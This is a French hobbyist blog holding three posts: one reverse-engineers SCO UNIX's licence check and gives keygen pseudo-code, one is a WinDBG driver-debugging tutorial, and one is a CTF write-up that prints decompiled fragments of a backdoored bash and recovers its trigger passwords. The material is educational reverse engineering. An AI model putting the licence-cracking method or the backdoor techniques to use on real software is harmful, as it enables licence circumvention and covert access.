aaSSfxxx's blog

aaSSfxxx se remet au sport

2023-02-08T20:04:00+01:00

Après presque deux ans a n'avoir rien glandé (hormis ma participation à deux ou trois CTF cette année) et rien écrit sur mon blog, il est temps de passer aux choses sérieuses, et faire un petit article histoire de se remettre au sport.

Comme certains l'ont remarqué sur ~~les toilettes des Internets~~ Twitter ainsi que Discord, je m'amuse en ce moment à installer des vieux UNIXes qui datent pour certains d'avant ma naissance, principalement pour le lulz.

Je suis donc tombé sur un ensemble d'images de disquettes pour installer un SCO UNIX 3.2v4.2, sauf que manque de bol, le serial donné sur WinWorld ne fonctionnait pas, et de même pour un lâcher de serial keygennés sur un obscur post de newsgroup datant de l'époque des dinosaures. Comme tout bon reverser qui se respecte, péter du serial est une raison de vivre, du coup let's go au pays des merveilles.

Alice au pays de XENIX

Il est désormais temps de sortir notre bon vieux ~~IDA cracké~~ Ghidra pour passer aux choses sérieuses. Nous allons regarder le binaire "brand", qu'il va falloir extraire de l'image disquette "M1.IMG", qui se décompresse très bien avec tar. Une fois muni de notre fichier, il va falloir le décompresser (les fichiers sont compressés pour en faire tenir plus sur une disquette), ce que gzip parvient également à faire très bien.

Ouvrons donc le binaire dans Ghidra (ouais, j'essaie de changer mon avis sur cet outil malgré le fait qu'il soit écrit en Java). On tombe sur l'entrypoint, et on voit un uVar1 = FUN_0000026b(); qui ressemble fortement à la fonction main du programme. Changeons son prototype directement, puis regardons ce que nous renvoie le décompilateur. On trouve pas mal de fonctions en FUN_a0000XXX, qui lorsqu'on double-clique dessus, renvoient vers une zone non initialisée dans le listing.

En effet, ce sont des adresses de /shlib/libc_s.so, l'implémentation de la libc de SCO, qui a une gestion très primitive de l'édition de liens dynamique: la libc sera chargée à une adresse fixe, et aura toutes ses fonctions exportées à la même adresse (bien que la fonction "exportée" ne soit qu'un saut vers la fonction réelle).

Cependant, récupérer cette libc à notre étape de l'aventure va être un peu compliqué (elle n'est présente que sur les disquettes N1.IMG et N2.IMG qui contiennent un filesystem qu'un Linux récent n'arrive plus à monter). On va donc y aller à la bite et au couteau, et essayer de deviner le nom des fonctions à partir de leurs arguments et le rôle qu'elles jouent dans le code.

Pour FUN_a00000d7(argc,argv,"lpnsqicb:G"), il s'agit probablement de la fonction "getopt", pareil pour la fonction ci-dessous qui ressemble bien à "fprintf".

      FUN_a0000096(&DAT_004026a8,
                   "Usage: %s [-p] [-l] [-n] [-s] [-q] [-b prd bundlelist] serialno activationkey fi le\n"
                   ,*(undefined4 *)argv);

Après avoir renommé un peu quelques fonctions tout ça, on tombe sur ce bloc de code qui a l'air fort intéressant:

    cur_args_count = argc - optind;
    current_args = argv + optind;
    strncpy(serialno_ak,*current_args,10);
    do_the_hustle(current_args[1]);
    strncat(serialno_ak,current_args[1],9);
    argv = current_args + 2;
    argc = cur_args_count + -2;
    cur_args_count = compare_checksum(serialno_ak);
    if (cur_args_count == 0) {
      if (_flag_q == 0) {
        fprintf(&stderr,"Invalid Activation Key\n");
      }
      exit(2);
    }

L'outil récupère donc le serial number et "l'activation key" sur la ligne de commande, puis fait des carabistouilles avec pour nous dire si c'est bon ou si GTFO. Regardons plus en détail la fonction que j'ai nommé do_the_hustle:

  chksum = 0;
  for (ak_end = (byte *)ak; *ak_end != 0; ak_end = ak_end + 1) {
  }
  for (; ak <= ak_end; ak_end = ak_end + -1) {
    if ((ascii_flags[*ak_end] & 2) == 0) {
      tmp = (int)(char)*ak_end;
    }
    else {
      tmp = (int)(char)*ak_end;
      lower_offset = (char)chksum;
      if (tmp - chksum < L'a') {
        lower_offset = (*ak_end - lower_offset) + '\xb9'; /* - 'G' */
      }
      else if (((char)*ak_end - chksum) + L'\xffffff9f' < 26) {
        lower_offset = (*ak_end - lower_offset) + '\x9f'; /* - 'a' */
      }
      else {
        lower_offset = (*ak_end - lower_offset) + '\x85'; /* - '{' */
      }
      *ak_end = lower_offset + 'a';
    }
    chksum = (tmp + chksum) % 26;
  }

La variable ascii_flags ayant le flag '2' positionné uniquement sur les lettres minuscules, on en déduit que ascii_flags[(byte)*ptr] & 2) == 0 peut être réécrit en !islower(*ptr). Ainsi, notre fonction ne va traiter que les caractères minuscules. Dans le cas où on a un caractère en minuscules, on voit que le le code ASCII du caractère 'G' (71) correspond au code ASCII de la lettre 'a' (97) - 26, soit le nombre de lettres de l'alphabet :þ. De même, le code ASCII du caractère '{' correspond au code ASCII de la lettre 'a' + 26.

En faisant un peu de maths niveau collège, on peut facilement réécrire ce bloc de code en la version ci-dessous, et s'épargner une imbrication de "if":

char *ptr = ak + strlen(ak);
char acc = 0;
while(ak <= ptr) {
  if(islower(*ptr)) {
    char tmp = ((*ptr - acc - 'a' + 26) % 26) + 'a';
    acc = (acc + *ptr) % 26;
    *ptr = tmp;
  }
  else {
    acc = (acc + *ptr) % 26;
  }
  ptr--;
}

Cette "activation key" déchiffrée va être ensuite concaténée au "serial number" dans la fonction main, puis le buffer résultant sera transmis en paramètre de la fonction "compare_checksum", que nous allons examiner.

Cette fonction recopie la chaîne dans un buffer local, avant d'invoquer une fonction checksum, qui fait ceci:

char * checksum(char *str)

{
  ushort chksm;
  int roundz;
  int i;
  char *loopvar;

  chksm = 0;
  loopvar = str + 8;
  for (; roundz = (int)(*loopvar % 16), *str != 0; str = str + 1) {
    chksm = chksm + (short)*str;
    chksm = (ushort)((chksm & 0x8000) != 0) | chksm * 2;
  }
  while (roundz != 0) {
    chksm = (ushort)((chksm & 0x8000) != 0) | chksm << 1;
    roundz = roundz + -1;
  }
  for (i = 1; -1 < i; i = i + -1) {
    chksum_buf[i] = (char)((uint)chksm % 26) + 'a';
    chksm = chksm / 26;
  }
  chksum_buf[2] = 0;
  return chksum_buf;
}

Puis, la fonction va comparer les deux derniers caractères de notre entrée avec le buffer retourné par checksum:

  ptr = checksum(local_buf);
  local_buf_len = 0;
  while( true ) {
    if (1 < local_buf_len) {
      return 1;
    }
    iVar1 = strlen(serialno_ak);
    if (serialno_ak[local_buf_len + iVar1 + -2] != ptr[local_buf_len]) break;
    local_buf_len = local_buf_len + 1;
  }

Ces algorithmes proviennent directement du mécanisme de vérification de licence de XENIX, l'ancêtre de SCO UNIX (qui n'est globalement qu'un XENIX amélioré et dont SCO a obtenu les droits pour l'appeler "UNIX"). Cependant, la méthode pour keygen notre Saint Graal, diffère de celle de XENIX (pour les curieux, regarder par ici peut être cool).

Sans plus attendre, passons aux choses sérieuses.

Cryptobat, qui peut te battre !

Maintenant qu'on a réussi à décoder notre "activation key", il faut comprendre comment elle est utilisée dans le processus de vérification/licensing de SCO UNIX (parce que là, n'importe quel couple serial number/activation key avec un checksum valide devrait permettre l'installation, sauf que ce n'est évidemment pas le cas :þ)

Dans notre fonction main, peu après la cuisine vue précédemment, on remarque ce bout de code qui a l'air fort intéressant:

    if (_flag_b != 0) {
      strncpy(pk,serialno_ak + 9,3);
      pk[3] = '\0';
      strcat(pk,"Tb");
      dec_serial = get_decrypted_bundle_serial(prd,pk,bundlelist);
      if (dec_serial == (char *)0x0) {
        exit(7);
      }
      tmp = check_function(serialno_ak,dec_serial);
      if (tmp == 0) {
        exit(7);
      }
      strncpy(serialno_ak,tmp,0x11);
    }

Le code va passer les 3 premiers octets de l'activation key déchiffrée à la fonction get_decrypted_serial, ainsi qu'un nom de prd, et un FILE* ouvert sur un fichier de bundlelist initialisé plus haut, lors du parsing des arguments:

      else if (tmp == L'b') {
        _flag_b = _flag_b + 1;
        prd = optarg;
        bundlelist = (void *)fopen(argv[optind],"r");
        if (bundlelist == (void *)0x0) {
          print_error(argv[optind]);
          exit(7);
        }
        optind = optind + 1;
      }

Regardons plus en détail la tête de ce fichier, qu'on trouve dans l'archive tar de l'image disquette M1.IMG, dans ./tmp/perms/bundle/netos:

macropkg="OS Services" : comp="SCO UNIX System V Runtime System" : \
 prd=unixrts : rel=3.2.4l : mapping=1 : compsize=15768 : vols=3 : \
 mdperms=/etc/perms/rtsmd : mdchar=N : pkgreq=RTS : perms=./tmp/perms/rts : \
 serial="^=Wy2-5_7._/-`^4-,XMNOIA,1" : char=B
#

On y voit notamment ce fameux serial="^=Wy2-5_7._/-`^4-,XMNOIA,1", qui va être extrait par la fonction get_decrypted_bundle_serial, après avoir parsé ce fichier bundle. Une fois extrait, decode_bundle_serial sera appelé pour décoder cette chaîne incompréhensible. Regardons donc ce qu'elle fait:

int decode_bundle_serial(char *serial,char *key)
{
  int dec_len;

  dec_len = custom_uudecode(serial);
  if (dec_len == -1) {
    dec_len = -1;
  }
  else {
    enigma_decrypt(decoded_bundle_serial,key,0);
    decoded_bundle_serial[dec_len] = '\0';
  }
  return dec_len;
}

Notre serial est donc encodé avec l'algorithme UUEncode, à ceci près que les caractères ", \ et : ont été substitués par x, y, z quand le serial a été encodé (et notre fonction applique la substitution avant de décoder la chaîne).

Une fois le serial décodé, il sera déchiffré par une variante de l'algorithme Enigma, étendu sur 256 valeurs (1 octet) dont la clé est la chaîne de trois caractères extraite de l'activation key déchiffrée, concaténée avec Tb. Cet article devenant assez long, je détaillerai peut-être le fonctionnement de l'algorithme Enigma dans un prochain article (sinon utilisez votre moteur de recherche favori :þ).

Une fois proprement décodé, notre serial (enfin celui issu d'un dump de SCO OpenDesktop dont un serial a été publié), ressemble à quelque chose comme ceci: zen,1,0,2,3,1,1,3. La "zen" ressemble étrangement à une "product key" et l'algorithme pour keygen se profile assez facilement.

Keygen like a tapz

Avec ce que nous avons trouvé précédemment, on sait que:

Le "serial number" (de 9 caractères) ainsi que "l'activation key" (de 8 caractères) sont concaténés, puis l'activation key est déchiffrée.
Les 2 derniers caractères de l'activation key déchiffrée sont un checksum du concaténat, pour vérifier que la clé est valide.
Les 3 premiers caractères de l'activation key sont le product code qui sera utilisé pour déchiffrer le "serial" présent dans le fichier /etc/perms/bundle de la disquette d'installation M1.
Le "serial" du bundle est encodé avec une version "personnalisée" de UUencode et chiffrée avec une implémentation "maison" de Enigma, dont la clé est les trois premiers caractères de l'activation key déchiffrée.
Les 3 premiers caractères du serial déchiffré sont le product code final suivi d'une liste d'entiers séparés par des virgules

Sachant tout ça, un algorithme pour péter cette vérification de serial serait en pseudo-code pythonisé:

sn = sys.argv[1]
bundleserial = sys.argv[2]
for i in range(26):
  for j in range(26):
    for k in range(26):
      pk = chr(i + 97) + chr(j + 97) + chr(k + 97)
      dec = enigma(bundleserial, pk + "Tb")
      if islower(dec[0]) and islower(dec[1]) and islower(dec[2]) and dec[3] == ",":
        newser = sn + pk + "aaa"
        newser += checksum(newser)
        print("%s - %s is a valid serial" % (sn, encrypt_ak(newser[9:])))

En faisant tourner le keygen, on trouve par exemple: aSSfxxx1:qzfxpysu. Le code du keygen (Python) est disponible sur ce lien.

That's all folks ! :þ

Debug ton Windows comme un pro

2021-05-24T17:41:00+02:00

Yolo les saloupiauds, aujourd'hui on va parler de debugging de drivers Windows (et donc de WinDBG). Pour se remettre dans le contexte, j'ai décidé de convertir une image disque de mon vieux PC sous Windows XP de mon adolescence en machine virtuelle sous libvirt (Qemu avec l'hyperviseur KVM), et l'opération s'est bien passée. Cependant, lorsque j'ai voulu installer le driver vidéo QXL pour avoir le redimensionnement automatique de l'écran de la VM, le driver refusait mystérieusement de démarrer. J'ai donc décidé de sortir l'artillerie lourde, et analyser le chargement du driver avec WinDBG.

Avant de rentrer dans le vif du sujet, j'en profite pour mentionner ma chaîne Vimeo qui contient quelques vidéo troll avec des bouts de hack puissant dedans.

Maintenant, un peu de musique pour se donner du courage:

Un peu de préparation

Pour faire du kernel debugging sous Windows, nous aurons besoin d'une autre VM Windows munie de WinDBG ~~(comme l'implémentation du protocole KD de radare2/rizin est complètement non fonctionnelle)~~. Si vous êtes sous Windows 10, je recommande d'installer "WinDBG Preview" depuis le Microsoft Store, qui offre une interface beaucoup plus moderne que le WinDBG classique des "Debugging Tools for Windows".

Nous devons également configurer les deux machines virtuelles pour communiquer entre elles via le port série. La procédure étant différente selon le logiciel de virtualisation utilisé, je ne détaillerai pas la procédure dans cet article, votre moteur de recherche préféré est votre ami. Côté Windows XP, on duplique la dernière ligne du fichier boot.ini, puis on rajoute "/debug /debugport=COM1". Le boot.ini ressemblera donc à ceci:

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professionnel" /noexecute=optin /fastdetect
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professionnel" /noexecute=optin /fastdetect /debug /debugport=COM1

ATTENTION !

Cette commande ne s'applique que pour Windows 2000/XP, à partir de Windows Vista, il faut passer par bcdedit en utilisant la commande bcdedit /debug on puis bcdedit /dbgsettings serial debugport:1 baudrate:115200. La suite de l'article ne devrait pas énormément changer ensuite.

Côté Windows 10, on peut désormais lancer WinDBG (je détaillerai les manipulations sur la version "Preview" uniquement). Puis on clique sur l'onglet "Fichier" du ruban, et on sélectionne l'option "Attach to kernel". Sur la page de configuration qui apparaît à côté, on clique sur l'onglet "COM", et on coche "Break on connect" en laissant les autres options telles quelles, comme sur la capture ci-dessous:

On peut maintenant redémarrer la VM Windows XP que l'on va déboguer. Normalement, le menu de démarrage s'affiche et on peut choisir entre "Windows XP" et "Windows XP [débogage activé]". Sélectionnons l'entrée "débogage activé".

Après quelques secondes (ou minutes, le temps de télécharger les PDB du noyau Windows XP), WinDBG devrait nous redonner la main, en affichant quelque chose comme ceci:

Cliquons sur la flèche verte "Go". Un deuxième point d'arrêt est atteint, cliquons à nouveau sur la flèche verte. Windows XP continue de se lancer comme si de rien était, mais nous pouvons désormais l'interrompre et examiner son état à tout moment. Mais dans un premier temps, nous observerons simplement les messages envoyés par le driver. Cependant, les drivers officiels n'incluant ni les symboles de débogage (les fameux PDB), ni les messages, nous devrons recompiler le driver nous-même en mode "checked build" avec le DDK.

Debug logs go brrr

Pour compiler notre driver, nous aurons besoin d'installer Git, afin de cloner le dépôt des sources. Vous pourrez le trouver sur ce lien, et l'installer. N'oubliez pas de cocher l'option pour ajouter Git au PATH de Windows, afin de pouvoir l'utiliser sans problème avec PowerShell ou l'invite de commandes.

Une fois ceci fait, il faudra cloner le dépôt qxl, avec les commandes suivantes:

mkdir c:\sources
cd c:\sources
git clone https://gitlab.freedesktop.org/spice/win32/qxl
cd qxl
git submodule init
git submodule update
cd spice-protocol
git checkout origin/master

Puis, dans le code de xddm\miniport\qxl.c, il faudra remplacer la fonction "DebugPrintV" par celle-ci afin d'avoir des messages de debug propres.

void DebugPrintV(char *log_buf, PUCHAR log_port, const char *message, const char *func, va_list ap)
{
    int n, n_strlen;
    char buffer[1024];

    snprintf(buffer, 1024, QXL_MINIPORT_DEBUG_PREFIX);
    vsnprintf(buffer + 7, 1017, message, ap);
    VideoDebugPrint((0, "%s", buffer));
}

Puis, nous devons nous munir du Windows DDK pour Windows 7, que l'on peut trouver sur le site de Microsoft, pour compiler notre driver. Une fois le DDK téléchargé et installé, nous pouvons exécuter les commandes suivantes:

cd c:\sources\qxl\xddm
set DDKVER=7600.16385.1
scripts\buildAll.bat chk XP

La compilation devrait s'effectuer sans problème, et un répertoire "install_chk_wxp_x86" devrait être apparu dans c:\sources\qxl\xddm. Une fois notre driver "checked" fraîchement recompilé, on place le PDB généré par la compilation dans le dossier de symboles sur la machine sur laquelle WinDBG est lancé (C:\ProgramData\Dbg\sym sur mon système). Puis on désinstalle la version "officielle" pour la remplacer par la version "compilée" via le gestionnaire de périphériques. Et là c'est la catastrophe, mais on voit apparaître ces messages dans WinDBG:

qxlmp: InitRam
qxlmp: InitRam: map ram filed
qxlmp: FindAdapter: findAdapter failed
qxlmp: FindAdapter: write QXL ID failed
qxlmp: FindAdapter: exit 87

La fonction "InitRAM" échoue lors de l'appel à VideoPortMapMemory, et nous devons désormais comprendre pourquoi. C'est là où notre cher ami WinDBG entre en jeu.

Debug ur kernelz like a t4pz

Maintenant que nous avons identifié le coupable, nous pouvons poser un breakpoint sur la fonction InitRam. Cliquons sur le bouton "Break" de WinDBG, puis entrons les commandes suivantes dans la fenêtre "Command" de WinDbg (celle où s'affichent les messages de debug):

bp qxl!InitRam
g

On peut maintenant désactiver puis réactiver le driver QXL, et notre breakpoint sera atteint. Normalement, une fenêtre avec le code source du fichier qxl.c devrait s'ouvrir, avec la définition de fonction surlignée en rouge, comme sur la capture ci-dessous.

On peut supprimer ce breakpoint (en cliquant sur la pastille rouge), puis en définir un autre sur l'appel à VideoPortMapMemory en cliquant sur la zone vide à gauche du code source. Puis on clique sur "Go" pour arriver à ce point d'arrêt. On s'arrête à nouveau, et maintenant on clique sur le bouton "Step Into" pour rentrer dans cette fonction.

Une fois dans la fonction VideoPortMapMemory, nous allons faire un "step-over" (exécution pas à pas sans rentrer dans les appels), afin de localiser plus précisément où les carabistouilles se produisent.

On remarque assez vite que c'est la fonction VIDEOPRT!pVideoPortGetDeviceBase qui échoue, et nous allons devoir l'examiner plus en détail. Nous voilà donc repartis à faire un "step over" dans VideoPortMapMemory, puis un "step into" dans pVideoPortGetDeviceBase. Dans cette fonction, on s'aperçoit que c'est MmMapVideoDisplay qui échoue. On en déduit déjà que le souci est sûrement un problème impliquant le memory manager. Continuons à creuser cette piste en exécutant pas à pas cette fonction, qui ne fait qu'appeler MmMapIoSpace.

En exécutant pas à pas MmMapIoSpace, on se rend compte que la fonction problématique est nt!MiReserveSystemPtes, qui renvoie NULL au lieu de renvoyer un pointeur vers un MMPTE décrivant la zone réservée par le kernel, cf l'implémentation de MmMapIoSpace de ReactOS.

On peut ainsi se douter que notre cher Windows n'arrive pas à réserver assez de "SystemPtes" pour notre driver, pour une raison inconnue. Ces SystemPtes jouent un rôle crucial dans la gestion de la mémoire sous Windows, mais je ne détaillerai pas plus dans cet article par manque de connaissances sur le sujet (mais peut-être que j'en parlerai dans un futur article, qui sait :þ). Notre objectif principal sera de faire en sorte qu'il y ait assez de ces SystemPtes pour que la fonction InitRam aille jusqu'au bout et que le driver se charge.

En fouillant un peu dans les internets, je finis par découvrir une clé de registre bien sympathique: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\SystemPages, qui contenait une valeur sortie de nulle part. J'essaie donc de réinitialiser cette valeur à sa valeur par défaut, c'est-à-dire 0, puis redémarrer ma VM XP, et pas de bol, le driver ne se charge toujours pas. Ayant flairé le bon filon, j'inspecte les autres valeurs dans HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\, et je trouve une autre valeur intéressante, "DisablePagingExecutive" qui était mise à 1, au lieu de 0.

Je repasse donc cette valeur à 0, redémarre ma VM et ô miracle, le driver QXL tant espéré se charge enfin correctement !

En effet, quand la clé "DisablePagingExecutive" est à 0, Windows écrit les pages des sections "pageables" des drivers ou du kernel non utilisées dans le pagefile.sys, pour libérer de la RAM physique et donc des précieux SystemPtes (qui servent à décrire la mémoire virtuelle kernel-land). Cependant, lorsque cette valeur est à 1, Windows ne fait aucun nettoyage, et les pages inutilisées encombrent la RAM pour rien sans pouvoir être "swappées", et on court le risque de manquer de SystemPtes.

Cet article arrive à sa fin, et comme vous pouvez le constater, il est le premier d'une série d'articles (je l'espère, si la Sainte Flemme ne prend pas le dessus) sur le ring0/Windows Internals, en essayant de taper sur des Windows récents cette fois-ci.

That's all folks ! :þ

Write-UP AeroCTF 2021: BashD00r (500 pts)

2021-03-02T21:54:00+01:00

Ce challenge est le deuxième challenge que j'ai pu résoudre à l'AeroCTF, et un des plus difficiles du CTF (seulement 2 solves en comptant le mien). L'énoncé était le suivant.

There seems to be something wrong with our bash.

Can you see if anyone has entered the backdoor?

bash.7z

On nous donne une archive qui contient un binaire nommé "bash". Il s'agit d'un GNU bash mais backdooré, et on devra trouver la backdoor pour obtenir le flag.

Bash backdoor, Pt. I

En ouvrant le fichier dans IDA, le point d'entrée n'est pas correctement désassemblé. En effet, il est à cheval sur les sections ".text" et ".data". On obtient un code désassemblé après avoir défini les données comme instructions. On peut ainsi trouver la fonction main:

_data           segment dword public 'DATA' use64
.data:000000000001ECA2                 assume cs:_data
.data:000000000001ECA2                 ;org 1ECA2h
.data:000000000001ECA2                 db  1Eh
.data:000000000001ECA3                 db 0FAh
.data:000000000001ECA4 ; ---------------------------------------------------------------------------
.data:000000000001ECA4                 xor     ebp, ebp
.data:000000000001ECA6                 mov     r9, rdx
.data:000000000001ECA9                 pop     rsi
.data:000000000001ECAA                 mov     rdx, rsp
.data:000000000001ECAD                 and     rsp, 0FFFFFFFFFFFFFFF0h
.data:000000000001ECB1                 push    rax
.data:000000000001ECB2                 push    rsp
.data:000000000001ECB3                 lea     r8, __libc_csu_fini
.data:000000000001ECBA                 lea     rcx, __libc_csu_init
.data:000000000001ECC1                 lea     rdi, main
.data:000000000001ECC8                 call    cs:off_11EF38
.data:000000000001ECCE                 hlt
.data:000000000001ECCF

Cette fonction est énorme, merci les fonctions "static" inlinées. Mais on voit rapidement qu'elle appartient au fichier "shell.c" grâce à des fonctions de debug qui affichent aussi le numéro de ligne, qui ressemblent à ceci:

.data:00000000000206A5                 call    set_default_locale
.data:00000000000206AA                 call    getuid_0
.data:00000000000206AF                 mov     ebx, eax
.data:00000000000206B1                 cmp     eax, cs:cur_user__uid
.data:00000000000206B7                 jz      short loc_20731
.data:00000000000206B9                 mov     rdi, cs:cur_user__username
.data:00000000000206C0                 test    rdi, rdi
.data:00000000000206C3                 jz      short loc_206D6
.data:00000000000206C5                 mov     edx, 1642
.data:00000000000206CA                 lea     rsi, aShellC    ; "shell.c"
.data:00000000000206D1                 call    print_free

Du coup j'ai téléchargé le code source de bash 5.1 (la version se trouve facilement dans les strings), et essayé d'identifier les fonctions à partir du fichier source. Mais le code désassemblé correspondant au source suivant:

  u = getuid ();
  if (current_user.uid != u)
    {
      FREE (current_user.user_name);

est à la ligne 1292 dans le code source au lieu de 1642 dans le binaire. On peut déduire que le binaire a été recompilé avec la backdoor ajoutée au code source.

Pendant que j'identifiais les fonctions par rapport au code source, je suis tombé sur cette fonction qui ne correspondait à rien:

  v26 = __readfsqword(0x28u);
  v0 = (_QWORD *)sh_malloc(4096LL, "shell.c", 587LL);
  v0[511] = 0LL;
  memset(
    (void *)((unsigned __int64)(v0 + 1) & 0xFFFFFFFFFFFFFFF8LL),
    0,
    8LL * (((unsigned int)v0 - (((_DWORD)v0 + 8) & 0xFFFFFFF8) + 4096) >> 3));
  *v0 = 0xDBEF3510A9ECE437LL;
  v0[1] = 0xB557D3ED25ADEB3FLL;
  *((_BYTE *)v0 + 16) = 40;
  decrypt_string(v0, 17);
  v1 = fopen_0(v0, "r");
  if ( !v1 )
    exit_0(0LL);
  v2 = v1;
  v3 = sh_malloc(1024LL, "shell.c", 645LL);
  v4 = 8;

Cette fonction est appelée via un init vector par __libc_csu_init, avant que la fonction main soit appelée. La backdoor vérifie si le processus est en train d'être debug en regardant le champ "TracerPid" dans /proc/self/status. Les chaînes sont chiffrées avec un algorithme simple, que j'ai réimplémenté en Python.

def decryptbuf(s):
    outpt = b""
    key = 24
    for i in range(len(s)):
        outpt += bytes([s[i] ^ key])
        key = (4*key + 52) % 243
    return outpt

Il regarde ensuite si le fichier /home/anon/.profile existe, et sort de la backdoor le cas échéant. Puis la backdoor essaie de lire 32 octets depuis /proc/self/fd/777.

On va enfin rentrer dans des trucs sympas, des trucs de hacker quoi.

Chiffrement "custom" et réseau de Feistel

Le contenu de /proc/self/fd/777 est modifié par un algorithme de chiffrement inconnu, dont le résultat est comparé à une constante. L'algorithme décompilé ressemble à ça:

 mysterious_array[0] = 0xE9B554BCBF7A0351LL;
mysterious_array[1] = 0x200A845B757AFF88LL;
mysterious_array[2] = 0x392848A34339A3EELL;
mysterious_array[3] = 0x21F8E1C664355C7CLL;
v9 = strlen((const char *)buffd) + 1;
bufread = (char *)buffd;
// snipped some uninteresting parts
count = 0LL;
while ( 1 )
{
    v17 = count;
    if ( strlen(bufread) <= count )
        break;
    seed1 = *(_DWORD *)&bufread[count];
    seed2 = *(unsigned int *)&bufread[count + 4];
    watconst2[0] = 1361583988;
    watconst2[1] = -1740780829;
    watconst2[2] = -1681248625;
    watconst2[3] = -1992688973;
    j_1 = 0;
    while ( 1 )
    {
        v14 = seed1 + watconst2[j_1 & 3] + seed2 + j_1 + (((unsigned int)seed2 >> 8) ^ ((_DWORD)seed2 << 6));
        ++j_1;
        seed1 = seed2;
        if ( j_1 == 48 )
        break;
        seed2 = v14;
    }
    count += 8LL;
    if ( mysterious_array[v17 / 8] != (seed2 << 32) + v14 )
    {
        print_free(watconst, "shell.c", 563LL);
        goto LABEL_10;
    }
}

En regardant la comparaison à la fin mysterious_array[v17 / 8] != (seed2 << 32) + v14, on voit que les 32 octets de poids fort ne sont pas touchés par l'algorithme de chiffrement, tandis que les 32 octets de poids faible sont un calcul fait à partir du numéro de round, et des 32 octets de poids fort.

Cet algorithme fait en réalité 48 tours de l'algo ci-dessous:

def do_feistel_pass(j, seed1, seed2):
    tmp = (seed1 + watconst[j & 3] + seed2 + j + ((seed2 >> 8) ^ ((seed2 << 6) & 0xffffffff))) & 0xffffffff
    return (seed2, tmp)

Finalement, on obtient:

def encrypt_data(x):
    seed1, seed2 = struct.unpack("<II", x[0:8])
    for j in range(48):
        seed1, seed2 = do_feistel_pass(j, seed1, seed2)
    return (seed1, seed2)

Comme on connaît le "seed2" final, on peut trouver l'algo de déchiffrement. On pourra l'appliquer à "mysterious_array" pour retrouver le texte en clair. Il s'agit d'un classique réseau de Feistel. On devra juste faire attention aux additions qui ont pu être "tronquées" sur 32 bits lors du chiffrement.

La fonction pour déchiffrer ressemblera donc à ceci:

def undo_feistel_pass(j, seed2, tmp):
    while True:
        blup = watconst[j & 3] + seed2 + j + ((seed2 >> 8) ^ ((seed2 << 6) & 0xffffffff))
        pass1 = tmp - blup
        if pass1 > 0:
            break
        tmp += 0x100000000
    return (pass1, seed2)

def decrypt_data(x):
    seed2, tmp = ((x >> 32), x & 0xffffffff)
    for i in range(47, -1, -1):
        seed2, tmp = undo_feistel_pass(i, seed2, tmp)
    return struct.pack("<II", seed2, tmp)

On lance l'algo sur "mysterious_array":

bufd = b""
for i in range(0, 32, 8):
    bufd += decrypt_data(mysterious_array[i >> 3])

Et on obtient la chaîne qui active la 1ère étape de la backdoor: eY3HmR6knwflbc1nsq0ILP9KZYQ8DTn. On pourra stocker cette chaîne dans un fichier, et invoquer la backdoor en faisant ./bash 777<backdoor.txt

La suite de la fonction déchiffre un autre fichier ELF avec un algo ressemblant à du Salsa20 (magic consts go brrr), mais j'ai abandonné l'analyse de l'algo et me suis contenté de dumper l'ELF déchiffré après avoir patché le binaire avec un int3 après l'appel de la fonction de déchiffrement.

Analyse du "second stage"

Le binaire dumpé utilise la même technique que le binaire "bash", avec l'entrypoint à cheval sur deux sections. La fonction "main" ne fait qu'appeler la fonction de déchiffrement avec argv[1]. Cette fonction de déchiffrement ressemble à ceci:

__int64 __fastcall do_the_hustle(char *serial)
{
  __m128i *key; // rbp
  _QWORD *v2; // r12
  _QWORD *v3; // r13

  serial[31] = 0;
  key = (__m128i *)calloc_0(4096LL, 1LL);
  *key = _mm_load_si128(xmmword_5060);
  key->m128i_i8[0] ^= 0x18u;
  key->m128i_i8[1] ^= 0x94u;
  key->m128i_i8[2] ^= 0x9Eu;
  key->m128i_i8[3] ^= 0xC6u;
  key->m128i_i8[4] ^= 0x73u;
  key->m128i_i8[5] ^= 0x1Au;
  key->m128i_i8[6] ^= 0x9Cu;
  key->m128i_i8[7] ^= 0xBEu;
  key->m128i_i8[8] ^= 0x53u;
  key->m128i_i8[9] ^= 0x8Du;
  key->m128i_i8[10] ^= 0x82u;
  key->m128i_i8[11] ^= 0x56u;
  key->m128i_i8[12] ^= 0x99u;
  key->m128i_i8[13] ^= 0xB2u;
  key->m128i_i8[14] ^= 0x23u;
  key->m128i_i8[15] ^= 0xC0u;
  v2 = (_QWORD *)malloc_0();
  v3 = (_QWORD *)malloc_0();
  serpent_encrypt(serial, (__int64)key, (__int64)v2, 0x10u);
  if ( *v2 ^ 0x9601AAF388AB0192LL | v2[1] ^ 0x2127591BB4E06735LL )
    return send_backdoor_status(0);
  serpent_encrypt((_DWORD *)serial + 4, (__int64)key, (__int64)v3, 0x10u);
  if ( *v3 ^ 0x582C4E2FDC6C7226LL | v3[1] ^ 0xC00B8862110C7A9DLL )
    return send_backdoor_status(0);
  send_backdoor_status(1);
  free_0(v2);
  return free_0(v3);
}

Une chaîne "Dh1IuM7SV7xgZP8q" et déchiffrée via un simple XOR, passée en clé à un autre algo de déchiffrement. Grâce à la Technique Secrète de Recherche de S-Box sur Google, je trouve ce blog: https://ctf.njupt.edu.cn/271.html, qui mentionnait cette S-Box intéressante:

0x03, 0x08, 0x0F, 0x01, 0x0A, 0x06, 0x05, 0x0B, 0x0E, 0x0D

On trouve le nom du challenge qui utilise cette S-Box ("Touch of Satan"), et grâce à mes talents en OSINT, je trouve cet autre blog chinois: https://blog.csdn.net/qq_38867330/article/details/102922423, qui affirme qu'il s'agit de Serpent.

J'ai donc récupéré une vieille lib Python 2 qui implémente Serpent, et l'ai bidouillée pour la faire fonctionner sur Python 3. Puis, en lançant:

 import serpent
z = serpent.Serpent(b"Dh1IuM7SV7xgZP8q")
bin = struct.pack("<QQQQ", 0x9601AAF388AB0192, 0x2127591BB4E06735, 0x582C4E2FDC6C7226, 0xC00B8862110C7A9D)
print(z.decrypt(bin))

je trouve cette chaîne 0NSlH7m8C91boiGq10NtQKq4aP7mVyJ.

Bash backdoor Pt. II

Comme le binaire qu'on a trouvé ne fait qu'écrire le statut "0" ou "1" dans un FIFO selon si on a donné le bon mot de passe, on doit trouver l'autre partie de la backdoor dans le binaire "bash".

